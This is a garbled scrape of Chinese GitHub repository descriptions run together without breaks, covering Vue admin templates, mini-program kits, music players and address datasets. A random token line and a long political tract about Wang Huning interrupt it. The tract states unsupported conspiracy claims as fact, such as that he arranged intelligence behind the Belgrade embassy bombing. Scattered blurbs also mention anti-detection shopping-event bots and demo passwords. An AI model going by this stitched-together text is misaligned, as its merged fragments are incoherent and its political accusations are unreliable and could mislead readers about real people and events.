中国省市区镇村二级三级四级五级联动地址数据 Web接口管理工具 开源免费 接口自动化 MOCK数据自动生成 自动化测试 企业级管理 阿里妈妈MUX团队出品 阿里巴巴都在用 1 公司的选择 RAP2已发布请移步至github com thx rap2 delosKuboard 是基于 Kubernetes 的微服务管理界面 同时提供 Kubernetes 免费中文教程 入门教程 最新版本的 Kubernetes v1 2 安装手册 k8s install 在线答疑 持续更新 ApacheCN 数据结构与算法译文集 chick 是使用 Node js 和 MongoDB 开发的社区系统一个非常适合IT团队的在线API文档 技术文档工具 Chinese sticker pack More joy 表情包的博物馆 Github最有毒的仓库 中国表情包大集合 聚欢乐 高颜值的第三方网易云播放器 支持 Windows macOS Linux vue2 vue router vuex 入门项目网易云音乐第三方 Flutter实战 电子书 一套代码运行多端 一端所见即多端所见 计算机速成课 Crash Course 字幕组 全4 集 2 18 5 1 精校完成 一个 react redux 的完整项目 和 个人总结中文独立博客列表CSS Inspiration 在这里找到写 CSS 的灵感 rich text 富文本编辑器 汉字拼音 hàn zì pīn yīn Chrome插件开发全攻略 配套完整Demo 欢迎clone体验微信调试 各种WebView样式调试 手机浏览器的页面真机调试 便捷的远程调试手机页面 抓包工具 支持 HTTPS 无需USB连接设备 master分支 渲染器 微信小程序组件 API 云开发示例简悦 SimpRead 让你瞬间进入沉浸式阅读的扩展让H5制作像搭积木一样简单 轻松搭建H5页面 H5网站 PC端网站 LowCode平台 一套组件化 可复用 易扩展的微信小程序 UI 组件库这是一个数据可视化项目 能够将历史数据排名转化为动态柱状图图表微信小程序图表charts组件 Charts for WeChat small app类似易企秀的H5制作 建站工具 可视化搭建系统 一个在你编程时疯狂称赞你的 VSCode 扩展插件全家桶后台管理框架解锁网易云音乐客户端变灰歌曲美观易用的React富文本编辑器 基于draft js开发一个致力于微信小程序和 Web 端同构的解决方案從零開始學 ReactJS ReactJS 1 1 是一本希望讓初學者一看就懂的 React 中文入門教學書 由淺入深學習 ReactJS 生態系源码解读 系列文章 完 我就是来分享脚本玩玩的开发者边车 github打不开 github加速 git clone加速 git release下载加速 stackoverflow加速vue源码逐行注释分析 4 多m的vue源码程序流程图思维导图 diff部分待后续更新 微信小程序解决方案 1KB javascript 覆盖状态管理 跨页通讯 插件开发和云数据库开发给老司机用的一个番号推荐系统 FeHelper Web前端助手记录成长的过程哔哩哔哩 bilibili com 辅助工具 可以替换播放器 推送通知并进行一些快捷操作提供了百度坐标 BD 9 国测局坐标 火星坐标 GCJ 2 和WGS84坐标系之间的转换F2etest是一个面向前端 测试 产品等岗位的多浏览器兼容性测试整体解决方案 ️ 阿里飞猪 很易用的中后台 表单 表格 图表 解决方案CRMEB Min 前后端分离版自带客服系统 是CRMEB品牌全新推出的一款轻量级 高性能 前后端分离的开源电商系统 完善的后台权限管理 会员管理 订单管理 产品管理 客服管理 CMS管理 多端管理 页面DIY 数据统计 系统配置 组合数据管理 日志管理 数据库管理 一键开通短信 产品采集 物流查询等接口 React技术揭秘 一本自顶向下的React源码分析书微信小程序 基于wepy 商城 微店 微信小程序 欢迎学习交流大屏数据可视化Pytorch 中文文档经典的网页对话框组件 强大的动态表单生成器 简洁 易用 灵活的微信小程序组件库 一款 Material Design 风格的 Hexo 主题签到一个帮助你自动申请京东价格保护的chrome拓展后台admin前端模板 基于 layui 编写的最简洁 易用的后台框架模板 只需提供一个接口就直接初始化整个框架 无需复杂操作 小程序生成图片库 轻松通过 json 方式绘制一张可以发到朋友圈的图片安卓应用层抓包通杀脚本一个轻量的工具集合婚礼大屏互动 微信请柬一站式解决方案mili 是一个开源的社区系统 界面优雅 功能丰富 丝般顺滑的触摸运动方案做最好的接口管理平台Mpx 一款具有优秀开发体验和深度性能优化的增强型跨端小程序框架省市区县乡镇三级或四级城市数据 带拼音标注 坐标 行政区域边界范围 2 21年 7月 3日最新采集 提供csv格式文件 支持在线转成多级联动js代码 通用json格式 提供软件转成shp geojson sql 导入数据库 带浏览器里面运行的js采集源码 综合了中华人民共和国民政部 国家统计局 高德地图 腾讯地图行政区划数据在vscode中用于生成文件头部注释和函数注释的插件 经过多版迭代后 插件 支持所有主流语言 功能强大 灵活方便 文档齐全 食用简单 觉得插件不错的话 点击右上角给个Star ️呀 JAVClub 让你的大姐姐不再走丢️你想要的最全 Android 进阶路线知识图谱 干货资料收集 开发者推荐阅读的书籍 2 2 淘宝 京东 支付宝双十一 双11全民养猫 全民营业自动化脚本 全额奖励 防检测 一款高性能敏感词 非法词 脏字 检测过滤组件 附带繁体简体互换 支持全角半角互换 汉字转拼音 模糊搜索等功能 前端博客 关注基础知识和性能优化 vue cli4配置vue config js持续更新PT 助手 Plus 为 Google Chrome 和 Firefox 浏览器插件 Web Extensions 主要用于辅助下载 PT 站的种子 基于vue2 koa2的 H5制作工具 让不会写代码的人也能轻松快速上手制作H5页面 类似易企秀 百度H5等H5制作 建站工具最全最新中国省 市 地区json及sql数据首个 Taro 多端统一实例 网易严选 小程序 H5 React Native By 趣店 FED地理信息可视化库企业级 Node js 应用性能监控与线上故障定位解决方案 Node js区块链开发 注 新版代码已开源 请star支持哦 基于Auto js的蚂蚁森林能量自动收取脚本 结巴 中文分词的Node js版本 译 面向机器学习的特征工程webfunny是一款轻量级的前端监控系统 webfunny也是一款前端性能监控系统 无埋点监控前端日志 实时分析前端健康状态一个实现汉字与拼音互转的小巧web工具库 演示地址 前端进阶 优质博文 一个 Chrome 插件 将 Google CDN 替换为国内的 Vue ElementUI构建的CMS开发框架超完整的React Native项目 功能丰富 适合学习和日常使用 GSYGithubApp系列的优势 我们目前已经拥有四个版本 功能齐全 项目框架内技术涉及面广 完成度高 配套文章 适合全面学习 对比参考 开源Github客户端App 更好的体验 更丰富的功能 旨在更好的日常管理和维护个人Github 提供更好更方便的驾车体验Σ 同款Weex版本同款Flutter版本 https github com CarGu 群 宇宙最强的前端面试指南 lucifer ren fe interview 微慕小程序开源版 WordPress版微信小程序函数式编程指北中文版Node js面试题 侧重后端应用与对Node核心的理解jQuery源码解析小白入坑vue三部曲 关于 vue 在工作的使用问题总结 请看博客 sunseekers github io 一直保持更新基于 Vue 的 PWA 解决方案 帮助开发者快速搭建 PWA 应用 解决接入 PWA 的各种问题ThinkCMF是一款支持Swoole的开源内容管理框架 基于ThinkPHP开发 同时支持PHP FPM和Swoole双模式 让WEB开发更快 微信小程序图片裁剪工具前端知识月刊Next Terminal是一个轻量级堡垒机系统 易安装 易使用 支持RDP SSH VNC Telnet Kubernetes协议 微信小程序 日历组件 基于 ueditor的更现代化的富文本编辑器 支持HTTPS基于JavaScript React Vue2的流程图组件 采用Spring MyBatis Shiro框架 开发的一套权限系统 极低门槛 拿来即用 设计之初 就非常注重安全性 为企业系统保驾护航 让一切都变得如此简单 QQ群 32478 2 4 145799952 一个前端的博客 春松客服 多渠道智能客服系统 开源客服系统 机器人客服一个工作流平台小程序 小游戏以及 Web 通用 Canvas 渲染引擎 在线工具秘籍 为在线工具写一本优质说明书 让在线工具造福人类 前端内参 有关于JavaScript 编程范式 设计模式 软件开发的艺术等大前端范畴内的知识分享 旨在帮助前端工程师们夯实技术基础以通过一线互联网企业技术面试 ️ vCards 中国黄页 优化 iOS Android 来电 信息界面体验各平台的分流规则 复写规则及自动化脚本 基于vue2 的实时聊天项目 图片剪裁上传组件 等笔记快速分享 GoogleDrive OneDrive 每日时报 以前端技术体系为主要分享课题 根据 文章 工具 新闻 视频几大板块作为主要分类 一款高效 高性能的帧动画生成工具 停止维护 一个在线音乐播放器 仅 UI 无功能 小程序富文本组件 支持渲染和编辑 html 支持在微信 QQ 百度 支付宝 头条和 uni app 平台使用基于 electron vue 开发的音乐播放器 界面模仿QQ音乐 技术栈欢迎starweui 是在weui和zepto基础上开发的增强UI组件 目前分为表单 基础 组件 js插件四大类 共计百余项功能 是最全的weui样式同步和更新大佬脚本库 更新懒人配置腾讯云即时通信 IM 服务 国内下载镜像 基于 Vue 的小程序开发框架React 16 8打造精美音乐WebAppWK系列开发框架 V1至V5 Java开源企业级开发框架 单应用 微服务 分布式 ️中国 省市区 三级联动 地址选择器 微信小程序2d动画库 分布式 Redis缓存 Shiro权限管理 Spring Session单点登录 Quartz分布式集群调度 Restful服务 QQ 微信登录 App token登录 微信 支付宝支付 日期转换 数据类型转换 序列化 汉字转拼音 身份证号码验证 数字转人民币 发送短信 发送邮件 加密解密 图片处理 excel导入导出 FTP SFTP fastDFS上传下载 二维码 XML读写 高精度计算 系统配置工具类等等 EduSoho 网络课堂是由杭州阔知网络科技有限公司研发的开源网校系统 EduSoho 包含了在线教学 招生和管理等完整功能 让教育机构可以零门槛建立网校 成功转型在线教育 EduSoho 也可作为企业内训平台 帮助企业实现人才培养 自用的一些乱七八糟 油猴脚本 为刚刚学习php语言以及web网站开发整理的一套资源 有视频 实战代码 学习路径等 会持续更新 This is a goindex theme 一个goindex的扩展主题 NumPy官方中文文档 完整版 搭建移动端开发 基于适配方案 axios封装 构建手机端模板脚手架 后台管理 脚手架接口 从简单开始 PhalApi简称π框架 一个轻量级PHP开源接口框架 专注于接口服务开发 前端特效存档Chrome浏览器 抢购 秒杀插件 秒杀助手 定时自动点击云存储管理客户端 支持七牛云 腾讯云 青云 阿里云 又拍云 亚马逊S3 京东云 仿文件夹管理 图片预览 拖拽上传 文件夹上传 同步 批量导出URL等功能font carrier是一个功能强大的字体操作库 使用它你可以随心所欲的操作字体 让你可以在svg的维度改造字体的展现形状 CRN是Ctrip React Native简称 由携程无线平台研发团队基于React Native框架优化 定制成稳定性和性能更佳 也更适合业务场景的跨平台开发框架 油猴脚本页面浮窗广告完全过滤净化 国服最强最全最新CSDN脚本微信小程序即时通讯模板 使用WebSocket通信小程序反编译 支持分包 “想学吗”个人知识管理与自媒体营销工具 超多经典 Canvas 实例 动态离子背景 炫彩小球 贪吃蛇 坦克大战 是男人就下1 层 心形文字等 Vue UEditor v model双向绑定 HQChart H5 微信小程序 沪深 港股 数字货币 期货 美股 K线图 kline 走势图 缩放 拖拽 十字光标 画图工具 截图 筹码图 分析家语法 通达信语法 麦语法 第3方数据替换接口基于koa2的标准前后端分离框架 一款企业信息化开发基础平台 拟集成OA 办公自动化 CMS 内容管理系统 等企业系统的通用业务功能 JeePlatform项目是一款以SpringBoot为核心框架 集ORM框架Mybatis Web层框架SpringMVC和多种开源组件框架而成的一款通用基础平台 代码已经捐赠给开源中国社区基于inception的自动化SQL操作平台 支持SQL执行 LDAP认证 发邮件 OSC SQL查询 SQL优化建议 权限管理等功能 支持docker镜像是一款专门面向个人 团队和小型组织的私有网盘系统 轻量 开源 完善 无论是在家庭 学校还是在办公室 您都能立刻开始使用它 了解更多请访问官方网站 Node js API 中文文档dubbo服务管理以及监控系统拯救B站的弹幕体验 对抗假消息系列项目之一 截屏 实锤?相信你就输了 ”突破性“更新 支持修改任何网站 ️一个简洁 优雅且高效的 Hugo 主题Vue js 示例项目 简易留言板 本项目拥有完善的文档说明与注释 让您快速上手 Vue js 开发? Vue Validator? Vuex?最佳实践基于 Node js Koa2 实战开发的一套完整的博客项目网站 用 React 编写的基于Taro Dva构建的适配不同端 微信 百度 支付宝小程序 H5 React Native 等 的时装衣橱信息泄漏监控系统 伪装115浏览器干爆前端 一网打尽前端面试 学习路径 优秀好文等各类内容 帮助大家一年内拿到期望的 offer 前端性能监控系统 消息队列 高可用 集群等相关架构SpringBoot v2项目是努力打造springboot框架的极致细腻的脚手架 包括一套漂亮的前台 无其他杂七杂八的功能 原生纯净 中文文本标注工具 最全最新中国 省 市 区县 乡镇街道 json csv sql数据 一款轻巧的渐进式微信小程序框架 全网 1 w 阅读量的进阶前端技术博客仓库 Vue 源码解析 React 深度实践 TypeScript 进阶艺术 工程化 性能优化实践 完整开源 Java快速开发平台 基于Spring SpringMVC Mybatis架构 MStore提供更多好用的插件与模板 文章 商城 微信 论坛 会员 评论 支付 积分 工作流 任务调度等 同时提供上百套免费模板任意选择 价值源自分享 铭飞系统不仅一套简单好用的开源系统 更是一整套优质的开源生态内容体系 铭飞的使命就是降低开发成本提高开发效率 提供全方位的企业级开发解决方案 每月28定期更新版本WeHalo 简约风 的微信小程序版博客 基于 vue2 vuex 构建一个具有 45 个页面的大型单页面应用基于Vue3 Element Plus 的后台管理系统解决方案基于 vue element ui 的后台管理系统鲜亮的高饱和色彩 专注视觉的小程序组件库 ️ 跨平台桌面端视频资源播放器 简洁无广告 免费高颜值 后台管理主线版本基于三者并行开发维护 同时支持电脑 手机 平板 切换分支查看不同的vue版本 element plus版本已发布 vue3 vue3 vue vue3 x vue js 程序无国界 但程序员有国界 中国国家尊严不容挑衅 如果您在特殊时期 mall admin web是一个电商后台管理系统的前端项目 基于Vue Element实现 主要包括商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等功能 一款完善的安全评估工具 支持常见 web 安全问题扫描和自定义 poc 使用之前务必先阅读文档Vue数据可视化组件库 类似阿里DataV 大屏数据展示 提供SVG的边框及装饰 图表 水位图 飞线图等组件 简单易用 长期更新 React版已发布 UI表单设计及代码生成器基于Vue的可视化表单设计器 让表单开发简单而高效 基于vue的高扩展在线网页制作平台 可自定义组件 可添加脚本 可数据统计 vue后台管理框架 精致的下拉刷新和上拉加载 js框架 支持vue 完美运行于移动端和主流PC浏览器 基于vue2 vuex element ui后台管理系统 Vue js高仿饿了么外卖App课程源码 coding imooc com class 74 html京东风格移动端 Vue2 Vue3 组件库eladmin前端源码 项目基于的前后端分离后台管理系统 权限控制采用 RBAC 菜单动态路由资源采集站在线播放uView UI 是uni app生态最优秀的UI框架 全面的组件和便捷的工具会让您信手拈来 如鱼得水Vue2 全家桶仿 微信App 项目 支持多人在线聊天和机器人聊天前端vue 后端koa 全栈式开发bilibili首页 A magical vue admin 记得star互联网大厂内推及大厂面经整理 并且每天一道面试题推送 每天五分钟 半年大厂中 Vue3 全家桶 Vant 搭建大型单页面商城项目 新蜂商城 Vue3 版本 技术栈为基于Vue开发的XMall商城前台页面 PC端 Vue全家桶 Vant 搭建大型单页面电商项目 ddbuy 7 orange cn前后端分离权限管理系统 精力有限 停止维护 用 Vue js 开发的跨三端应用Prototyping Tool For Vue Devs 适用于Vue的原型工具实战商城 基于Vue2 高仿微信App的单页应用electron跨平台音乐播放器 可搜网易云 QQ音乐 虾米音乐 支持QQ 微博 Github登录 云歌单 支持一键导入音乐平台歌单ThorUI组件库 轻量 简洁的移动端组件库 组件文档地址 thorui cn doc 最近更新时间 2 21 5 28uni app框架演示示例 Electron Vue 仿网易云音乐windows客户端 基于 Vue2 Vue CLI3 的高仿网易云 mac 客户端播放器 PC Online Music PlayerGitHub 泄露监控系统pear 梨子 轻量级的在线项目 任务协作系统 远程办公协作自选基金助手是一款Chrome扩展 用来快速获取关注基金的实时数据 查看自选基金的实时估值情况支持 markdown 渲染的博客前台展示Vue 音乐搜索 播放 Demo 一个基于 vue2 vue3 的 大转盘 九宫格 抽奖插件奖品 文字 图片 颜色 按钮均可配置 支持同步 异步抽奖 概率前 后端可控 自动根据 dpr 调整清晰度适配移动端 基于 Vue 的在线音乐播放器 PC Online music player美团饿了吗外卖红包外卖优惠券 先领红包再下单 外卖红包优惠券 cps分成 别人领红包下单 你拿佣金 讨论如何构建一套可靠的大型分布式系统用 vue 写小程序 基于 mpvue 框架重写 weui 基于Vue框架构建的github数据可视化平台使用GitHub API 搭建一个可动态发布文章的博客可视化拖拽组件库 DEMO基于开源组件 Inception SQLAdvisor SOAR 的SQL审核 SQL优化的Web平台显示当前网站的所有可用Tampermonkey脚本 专注Web与算法无缝滚动component精通以太坊 中文版 网页模拟桌面基于的多模块前后端分离的博客项目网易云音乐 QQ音乐 咪咕音乐 第三方 web端 可播放 vip 下架歌曲 基于权限管理的后台管理系统基于 Node js 的开源个人博客系统 采用 Nuxt Vue TypeScript 技术栈 一款简洁高效的VuePress知识管理 博客 blog 主题基于uni app的ui框架基于Vue Vuex iView的电子商城网站 Vue2 全家桶 Vant 搭建大型单页面商城项目 新蜂商城前后端分离版本 前端Vue项目源码酷狗 ️ 极客猿梦导航 独立开发者的导航站 Vue SpringBoot MyBatis 音乐网站基于 RageFrame2 的一款免费开源的基础商城销售功能的开源微商城 基于vue2 的网易云音乐播放器 api来自于NeteaseCloudMusicApi v2 为最新版本编写的一套后台管理系统全栈开发王者荣耀手机端官网和管理后台基于 Vue3 x TypeScript 的在线演示文稿应用 实现PPT幻灯片的在线编辑 演示 基于vue2 生态的后台管理系统模板开发的后台管理系统 Vchat 从头到脚 撸一个社交聊天系统 vue node mongodb h5编辑器类似maka 易企秀 账号 密码 admin996 公司展示 讨论Vue Spring boot前后端分离项目 wh web wh server的升级版 基于element ui的数据驱动表单组件基于 GitHub API 开发的图床神器 图片外链使用 jsDelivr 进行 CDN 加速 免下载 免安装 打开网站即可直接使用 免费 稳定 高效 ️ Vue初 中级项目 CnodeJS社区重构预览 DEMO 基于vue2全家桶实现的 仿移动端QQ基于Vue Echarts 构建的数据可视化平台 酷炫大屏展示模板和组件库 持续更新各行各业实用模板和炫酷小组件 基于Spring Boot的在线考试系统 预览地址 129 211 88 191 账户分别是admin teacher student 密码是admin123 6pan 6盘小白羊 第二版 vue3 antd typescript on bone and knife 基于Vue 全家桶 2 x 制作的美团外卖APP 本项目是一款基于 Avue 的表单设计器 拖拽式操作让你快速构建一个表单 一刻社区前端源码基于Vue iView Admin开发的XBoot前后端分离开放平台前端 权限可控制至按钮显示 动态路由权限菜单 多语言 简洁美观 前后端分离 ️一个开源的社区程序 临时测试站 https t myrpg cnecharts地图geoJson行政边界数据的实时获取与应用 省市区县多级联动下钻 真正意义的下钻至县级 附最新geoJson文件下载 Vue的Nuxt js服务端渲染框架 NodeJS为后端的全栈项目 Docker一键部署 面向小白的完美博客系统vue瀑布流组件 vue waterfall easy 2 x Ego 移动端购物商城 vue vuex ruoter webpack Vue js Node js Mongodb 前后端分离的个人博客头像加口罩小程序 基于uniapp使用vue快速实现 广告月收入4k 基于vue3 的管理端模板教你如何打造舒适 高效 时尚的前端开发环境基于 Flask 和 Vue js 前后端分离的微型博客项目 支持多用户 Markdown文章 喜欢 收藏文章 粉丝关注 用户评论 点赞 动态通知 站内私信 黑名单 邮件支持 管理后台 权限管理 RQ任务队列 Elasticsearch全文搜索 Linux VPS部署 Docker容器部署等基于 vue 和 heyui 组件库的中后端系统 admin heyui topVue 轻量级后台管理系统基础模板uni app项目插件功能集合We川大小程序 scuplus 使用wepy开发的完善的校园综合小程序 4 页面 前后端开源 包括成绩 课表 失物招领 图书馆 新闻资讯等等常见校园场景功能一个全随机的刷装备小游戏一个vue全家桶入门Demo 是一個可以幫助您 Vue js 的項目測試及偵錯的工具 也同時支持 Vuex及 Vue Router 微信公众号管理系统 包含公众号菜单管理 自动回复 素材管理 模板消息 粉丝管理 ️等功能 前后端都开源免费 基于vue 的管理后台 配合Blog Core与Blog Vue等多个项目使用海风小店 开源商城 微信小程序商城管理后台 后台管理 VUE IT之家第三方小程序版客户端 使用 mpvue 开发 兼容 web vue 可以拖拽排序的树形表格 现代 Web 开发语法基础与工程实践 涵盖 Web 开发基础 前端工程化 应用架构 性能与体验优化 混合开发 React 实践 Vue 实践 WebAssembly 等多方面 数据大屏可视化编辑器一个适用于摄影从业者 爱好者 设计师等创意行业从业者的图像工具箱 武汉大学图书馆助手 桌面端基于form generator 仿钉钉审批流程创建 表单创建 流程节点可视化配置 必填条件及校验 一个完整electron桌面记账程序 技术栈主要使用electron vue vuetify 开机自动启动 自动更新 托盘最小化 闪烁等常用功能 Nsis制作漂亮的安装包 程序猿的婚礼邀请函 一个基于vue和element ui的树形穿梭框及邮件通讯录版本见示例见 基于Gin Vue Element UI的前后端分离权限管理系统的前端模块通用书籍阅读APP BookChat 的 uni app 实现版本 支持多端分发 编译生成Android和iOS 手机APP以及各平台的小程序基于Vue3的Material design风格移动端组件库进阶资深前端开发在线考试系统 springboot vue前后端分离的一个项目 ️ 无后端的仿 YouTube Live Chat 风格的简易 Bilibili 弹幕姬vue后端管理系统界面 基于ui组件iviewBilibili直播弹幕库 for Mac Windows LinuxVue高仿网易云音乐 基本实现网易云所有音乐 MV相关功能 现已更新到第二版 仅用于学习 下面有详细教程 武汉大学图书馆助手 移动端Zeus基于Golang Gin casbin 致力于做企业统一权限 账号中心管理系统 包含账号管理 数据权限 功能权限 应用管理 多数据库适配 可docker 一键运行 社区活跃 版本迭代快 加群免费技术支持 Vue高仿网易云音乐 Vue入门实践 在线预览 暂时停止基于 Vue 和 ElementUI 构建的一个企业级后台管理系统 ️ 跨平台移动端视频资源播放器 简洁免费 ZY Player 移动端 APP 基于 Uni app 开发 Vue实战项目基于参考小米商城 实现的电商项目 h5制作 移动端专题活动页面可视化编辑仿钉钉审批流程设置动态表单页面设计 自动生成页面微前端项目实战vue项目 基于vue3 qiankun2 进阶版 github com wl ui wl mfe基于 d2 admin的RBAC权限管理解决方案VueNode 是一套基于的前后端分离项目 基于仿京东淘宝的 移动端H5电商平台 巨树 基于ztree封装的Vue树形组件 轻松实现海量数据的高性能渲染 微信红包封面领取 用户观看视频广告或者邀请用户可获取微信红包序列号基于 Vue 的可视化布局编辑器插件kbone ui 是一套能同时支持 小程序 kbone 和 vue 框架开发的多端 UI 库 PS 新版 kbone ui 已出炉并迁移到 kbone 主仓库 此仓库仅做旧版维护之用 一个vue的个人博客项目 配合 net core api教程 打造前后端分离Tumo Blog For Vue js 前后端分离bpmn js流程设计器组件 基于vue elementui美化属性面板 满足9 %以上的业务需求专门为 Weex 前端开发者打造的一套高质量UI框架 想用vue把我现在的个人网站重新写一下 新的风格 新的技术 什么都是新的 本项目是一个在线聊天系统 最大程度的还原了Mac客户端QQ vue cli3 后台管理模板 heart 基于vue2和vuex的复杂单页面应用 2 页面53个API 仿实验楼 基于 Vue Koa 的 WebDesktop 视窗系统 Jeebase是一款前后端分离的开源开发框架 基于开发 一套SpringBoot后台 两套前端页面 可以自由选择基于ElementUI或者AntDesign的前端界面 二期会整合react前端框架 Ant Design React 在实际应用中已经使用这套框架开发了CMS网站系统 社区论坛系统 微信小程序 微信服务号等 后面会逐步整理开源 本项目主要目的在于整合主流技术框架 寻找应用最佳项目实践方案 实现可直接使用的快速开发框架 使用 vue cli3 搭建的vue vuex router element 开发模版 集成常用组件 功能模块JEECG BOOT APP 移动解决方案 采用uniapp框架 一份代码多终端适配 同时支持APP 小程序 H5 实现了与JeecgBoot平台完美对接的移动解决方案 目前已经实现登录 用户信息 通讯录 公告 移动首页 九宫格等基础功能 明日方舟工具箱 支持中台美日韩服vue的验证码插件这里有一些标准组件库可能没有的功能组件 已有组件 放大镜 签到 图片标签 滑动验证 倒计时 水印 拖拽 大家来找茬 基于Vue2 Nodejs MySQL的博客 有后台管理系统 支持 登陆 注册 留言 评论 回复 点赞长江证券郑州大学超市管理系统天安门坦克桌面行驶工况茶马古道金融文本情感自动黄河银行营销通许章润
b0LBwZ7r5HOeh6CBMuQIhVu3-s-random-fork
[stays mad] 反PCL宣传库。Anti PCL propaganda. 大陆修宪香港恶法台湾武统朝鲜毁约美中冷战等都是王沪宁愚弄习思想极左命运共同体的大策划中共窃国这半个多世纪所犯下的滔天罪恶,前期是毛泽东策划的,中期6.4前后是邓小平策划的,黄牛数据分析后期是毛的极左追随者三朝罪恶元凶王沪宁策划的。王沪宁高小肆业因文革政治和情报需要保送“学院外语班“红色仕途翻身,所以王的本质是极左的。他是在上海底层弄堂长大的,因其本性也促成其瘪三下三滥个性,所以也都说他有易主“变色龙”哈巴狗“的天性。大陆像王沪宁这样学马列政治所谓"法学"专业的人,在除朝鲜古巴所有国家特别是在文明发达国家是无法找到专业对口工作必定失业,唯独在大陆却是重用的紧缺“人才”,6.4后中共信仰大危机更是最重用的救党“人才”。这也就是像王沪宁此类工农兵假“大学生”平步青云的原因,他们最熟悉毛泽东历次运动的宫庭内斗经验手段和残酷的阶级斗争等暴力恐怖的“政治学”。王沪宁能平步青云靠他这马毛伪“政治学”资本和头衔,不是什么真才实学,能干实事有点真才实学的或许在他手下的谋士及秘书班子中可以找到。王沪宁的“真才实学”只不过是一个只读四年小学的人,大半辈子在社会上磨炼特别是在中共官场滚打炼出的的手段和经验而已,他和习近平等保送的工农兵假“大学生”都一样,无法从事原“专业”都凭红资本而从政。六四学运期间各界一边倒支持学生,王沪宁一度去法国躲避和筹谋,他还加入了反学运签名,成为极少有的反学运者仕途突显,在六四和苏联垮台后中共意识形态危机,江泽民上台看上唯一能应急的王沪宁聚谋士泡制的"稳定统一领导"和之后的"新权威"谬论。左转被邓小平南巡阻止后,王策划顺邓经济改革却将政治改革逐步全面终止和倒退,泡制“三个代表”为极左转建立庞大牢固的红色既得利益集团。因此六四后各重大决策和危机难题都摆在中共中央政策研究室王沪宁桌面上,使王沪宁成了此后中共三朝都无法摆脱的幕后最有决策性实权的人,中共中央政策研究室是王为其野心巨资经营几十年,聚众谋士的间谍情报汇总研究的特务机关和策划制定决策重要机构与基地,王沪宁本人和决定其仕途关键的首任岳父及家属就有情报工作背景。中央政研室重要到王沪宁入常后为了死抓这中共情报与决策大权,宁可放弃国家副主席和中央党校校长。后再加个除习外唯他担任的中共几核心领导小组之一的“不忘初心牢记使命”主题教育工作小组组长。此后他把持的舆论必将以宣传“不忘初心牢记使命”为主,打造众所周知的所谓“习思想”其实是”王思想“。王自从主导中央政研室开始决策后,策划中止邓小平的与美妥协路线回归毛极左的反美路线。帮助前南斯拉夫提供情报打落美机放中使馆引发炸使馆事件,以此掀起六四后唯一的全国大规模游行并借此反美而起家。后又帮江泽民提供法轮功会是超过中共组织的情报,策划决策镇压迫害开始并没有把矛头指向江的法轮功群体,策划决定阻止党内外近三十年来平反六四的呼声。致远黑皮书马拉松程序员易支付英语台词文字匹配美团点评各业务线提供知识库团队共享阿里云高精Excel识别德讯 ·吉特胡布薄熙来黑科技习近平讲话模拟器习近平音源黑马程序员MySQL数据库玉米杂草数据集销售系统开发疫情期间网民情绪识别比赛996icu996 icu学习强国预测结果导出赖伟林刺杀小说家购物商场英语词汇量小程序联级选择器Bitcoin区块链 技术面试必备基础知识 Leetcode 计算机操作系统 计算机网络 系统设计 Java学习 面试指南 一份涵盖大部分 Java 程序员所需要掌握的核心知识 准备 Java 面试 首选 JavaGuide Python 1 天从新手到大师刷算法全靠套路 认准 labuladong 就够了 免费的计算机编程类中文书籍 欢迎投稿用动画的形式呈现解LeetCode题目的思路 互联网 Java 工程师进阶知识完全扫盲 涵盖高并发 分布式 高可用 微服务 海量数据处理等领域知识后端架构师技术图谱mall项目是一套电商系统 包括前台商城系统及后台管理系统 基于SpringBoot MyBatis实现 采用Docker容器化部署 前台商城系统包含首页门户 商品推荐 商品搜索 商品展示 购物车 订单流程 会员中心 客户服务 帮助中心等模块 后台管理系统包含商品管理 订单管理 会员管理 促销管理 运营管理 内容管理 统计报表 财务管理 权限管理 设置等模块 微信小程序开发资源汇总 最全中华古诗词数据库 唐宋两朝近一万四千古诗人 接近5 5万首唐诗加26万宋诗 两宋时期1564位词人 21 5 首词 uni app 是使用 Vue 语法开发小程序 H5 App的统一框架2 21年最新总结 阿里 腾讯 百度 美团 头条等技术面试题目 以及答案 专家出题人分析汇总 科学上网 自由上网 翻墙 软件 方法 一键翻墙浏览器 免费账号 节点分享 vps一键搭建脚本 教程AiLearning 机器学习 MachineLearning ML 深度学习 DeepLearning DL 自然语言处理 NLP123 6智能刷票 订票开放式跨端跨框架解决方案 支持使用 React Vue Nerv 等框架来开发微信 京东 百度 支付宝 字节跳动 QQ 小程序 H5 React Native 等应用 taro zone 掘金翻译计划 可能是世界最大最好的英译中技术社区 最懂读者和译者的翻译平台 no evil 程序员找工作黑名单 换工作和当技术合伙人需谨慎啊 更新有赞 算法面试 算法知识 针对小白的算法训练 还包括 1 阿里 字节 滴滴 百篇大厂面经汇总 2 千本开源电子书 3 百张思维导图 右侧来个 star 吧 English version supported 955 不加班的公司名单 工作 955 work–life balance 工作与生活的平衡 诊断利器Arthas The Way to Go 中文译本 中文正式名 Go 入门指南 Java面试 Java学习指南 一份涵盖大部分Java程序员所需要掌握的核心知识 教程 技术栈示例代码 快速简单上手教程 2 17年买房经历总结出来的买房购房知识分享给大家 希望对大家有所帮助 买房不易 且买且珍惜http下载工具 基于http代理 支持多连接分块下载 动手学深度学习 面向中文读者 能运行 可讨论 中英文版被全球175所大学采用教学 阿里云计算平台团队出品 为监控而生的数据库连接池程序员简历模板系列 包括PHP程序员简历模板 iOS程序员简历模板 Android程序员简历模板 Web前端程序员简历模板 Java程序员简历模板 C C 程序员简历模板 NodeJS程序员简历模板 架构师简历模板以及通用程序员简历模板采用自身模块规范编写的前端 UI 框架 遵循原生 HTML CSS JS 的书写形式 极低门槛 拿来即用 贵校课程资料民间整理 企业级低代码平台 前后端分离架构强大的代码生成器让前后端代码一键生成 无需写任何代码 引领新的开发模式OnlineCoding 代码生成 手工MERGE 帮助Java项目解决7 %重复工作 让开发更关注业务 既能快速提高效率 帮助公司节省成本 同时又不失灵活性 我是依扬 木易杨 公众号 高级前端进阶 作者 每天搞定一道前端大厂面试题 祝大家天天进步 一年后会看到不一样的自己 冴羽写博客的地方 预计写四个系列 JavaScript深入系列 JavaScript专题系列 ES6系列 React系列 中文分词 词性标注 命名实体识别 依存句法分析 语义依存分析 新词发现 关键词短语提取 自动摘要 文本分类聚类 拼音简繁转换 自然语言处理flutter 开发者帮助 APP 包含 flutter 常用 14 组件的demo 演示与中文文档 下拉刷新 上拉加载 二级刷新 淘宝二楼智能下拉刷新框架 支持越界回弹 越界拖动 具有极强的扩展性 集成了几十种炫酷的Header和 Footer 该项目已成功集成 actuator 监控 admin 可视化监控 logback 日志 aopLog 通过AOP记录web请求日志 统一异常处理 json级别和页面级别 freemarker 模板引擎 